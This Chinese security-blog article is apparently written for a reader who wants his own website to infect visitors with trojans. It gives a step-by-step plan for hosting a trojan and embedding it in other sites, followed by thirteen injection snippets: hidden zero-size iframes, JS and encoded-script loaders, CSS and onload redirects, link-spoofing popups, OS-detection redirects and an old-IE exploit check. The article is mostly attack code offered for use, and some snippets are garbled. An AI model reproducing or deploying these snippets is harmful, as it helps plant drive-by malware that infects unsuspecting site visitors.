<返回更多

网页挂马的原理和实现方式,看完这边文章我就不信你还不会

2022-06-13  微信公众号  程哥讲安全
加入收藏

今天,有一位网友问了我一个问题,他自己已经有了网站了,现在他想做成“挂马”这种网站,只要打开它,电脑就有可能感染木马病毒。

木马是需要触发才有效果的,触发条件:要么欺骗用户主动,要么利用漏洞。可能他对木马、挂马、网马这些不是很理解,因此我特意发了此篇文章。

一、挂马、网马介绍

1、挂马

从“挂马”这个词中就知道,它和“木马”脱离不了关系,的确,挂马的目的就是将木马传播出去。

黑客入侵了一些网站之后,将自己编定的网页木马嵌入到其网站的页面(通常是在网站主页)中,利用该网站的流量将自己的网页木马传播出去从而达到自己的目的。

2、网马

网马,即“网页木马”,就是将木马和网页结合在一起,当打开网页的时候就会自动下载并运行其木马程序。

二、网页木马运行原理

最初的网页木马就是利用了IE浏览器的ActiveX控件,在运行网页木马的时候会弹出一个控件下载提示,只有经过用户确认后才会运行其中的木马。

目前新型的木马通常利用IE浏览器存在的漏洞来传播网页木马。

当然,现在浏览器不仅仅是指IE,还有很多其它的浏览器,例如:谷歌、百度、360、搜狗、QQ、火狐浏览器......等等。

三、网页挂马步骤

1、申请网站空间:将木马程序和网马全部上传到该网站空间,使其可以被访问,假如申请成功后的网站空间地址为“http://www.xxx.com/xxx”;

2、上传木马程序:上传完成后木马的访问地址为“
http://www.xxx.com/horse.exe”;

3、使用网页木马生成器生成网马:假如生成后网马地址为“
http://www.xxx.com/horse.htm”;

4、进行挂马:将生成后的网马地址嵌入到其他正常的网站页面,假如嵌入到腾讯的主页“
http://www.qq.com/index.htm”;

网页挂马的原理和实现方式,看完这边文章我就不信你还不会

 

四、网页挂马的实现方式

1、框架挂马

<iframe src=地址 width=0 height=0></iframe>

2、JS文件挂马

首先将以下代码:

document.write("<iframe width='0' height='0' src='地址'></iframe>");

保存为xxx.js。

则JS挂马代码为:

<script language=JAVAscript src=xxx.js></script>

3、JS变形加密

<SCRIPT language="JScript.Encode" src=https://www.fujieace.com/muma.txt></script>

muma.txt可改成任意后缀;

4、body挂马

<body onload="window.location='地址';"></body>

5、隐蔽挂马

top.document.body.innerhtml = top.document.body.innerHTML + 'rn<iframe src="https://www.fujieace.com/muma.htm/"></iframe>';

6、css挂马

body {
background-image: url('JavaScript:document.write("<script src=https://www.fujieace.com/muma.js></script>")')}

7、JAJA挂马

<SCRIPT language=javascript>
window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
</script>

8、图片伪装

<html>
<iframe src="网马地址" height=0 width=0></iframe>
<img src="图片地址"></center>
</html>

9、伪装调用

<frameset rows="444,0" cols="*">
<frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
<frame src="网马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
</frameset>

10、高级欺骗

<a href="http://www.163.com(迷惑连接地址,显示这个地址指向木马地址)" onMouseover="www_163_com(); return true;"> 页面要显示的内容 </a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="网马地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>

11、判断系统代码

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>404</TITLE>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<META content="MSHTML 6.00.2900.2769" name=GENERATOR></HEAD>
<BODY>
<SCRIPT language=javascript>
window.status="";
if(navigator.userAgent.indexOf("Windows NT 5.1") != -1)
window.location.href="tk.htm";
else
window.location.href="upx06014.htm";
</SCRIPT>
</BODY></HTML>

12、判断是否有ms06014代码

<script language=VBScript>
on error resume next
set server = document.createElement("object")
server.setAttribute "classid", "clsid:10072CEC-8CC1-11D1-986E-00A0C955B42E"
set File = server.createobject(Adodb.Stream,"")
if Not Err.Number = 0 then
err.clear
document.write ("<iframe src=https://www.fujieace.com width=100% height=100% scrolling=no frameborder=0>")
else
document.write ("<iframe src=https://www.fujieace.com width=100% height=100% scrolling=no frameborder=0>")
end if
</script>

13、智能读取js的代码demo

//读娶src的对象
var v = document.getElementById("advjs");
//读娶src的参数
var u_num = getUrlParameterAdv("showmatrix_num",v.getAttribute('src'));
document.write("<iframe src="https://www.fujieace.com/1/"+u_num+".htm" width="0" height="0" frameborder="0"></iframe>");
document.writeln("<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">");
document.writeln("<HTML><HEAD>");
document.writeln("<META http-equiv=Content-Type content="text/html; charset=big5">");
document.writeln("<META content="MSHTML 6.00.2900.3059" name=GENERATOR></HEAD>");
document.writeln("<BODY> ");
document.writeln("<DIV style="CURSOR: url('https://www.fujieace.com/demo.js')">");
document.writeln("<DIV ");
document.writeln("style="CURSOR: url('https://www.fujieace.com/demo.js')"></DIV></DIV></BODY></HTML>")
//分析src的参数函数
function getUrlParameterAdv(asName,lsURL){
loU = lsURL.split("?");
if (loU.length>1){
var loallPm = loU[1].split("&");
for (var i=0; i<loallPm.length; i++){
var loPm = loallPm.split("=");
if (loPm[0]==asName){
if (loPm.length>1){
return loPm[1];
}else{
return "";
}
}
}
}
return null; 

文章来源公众号:程哥讲安全

声明:本站部分内容来自互联网,如有版权侵犯或其他问题请与我们联系,我们将立即删除或处理。
▍相关推荐
更多资讯 >>>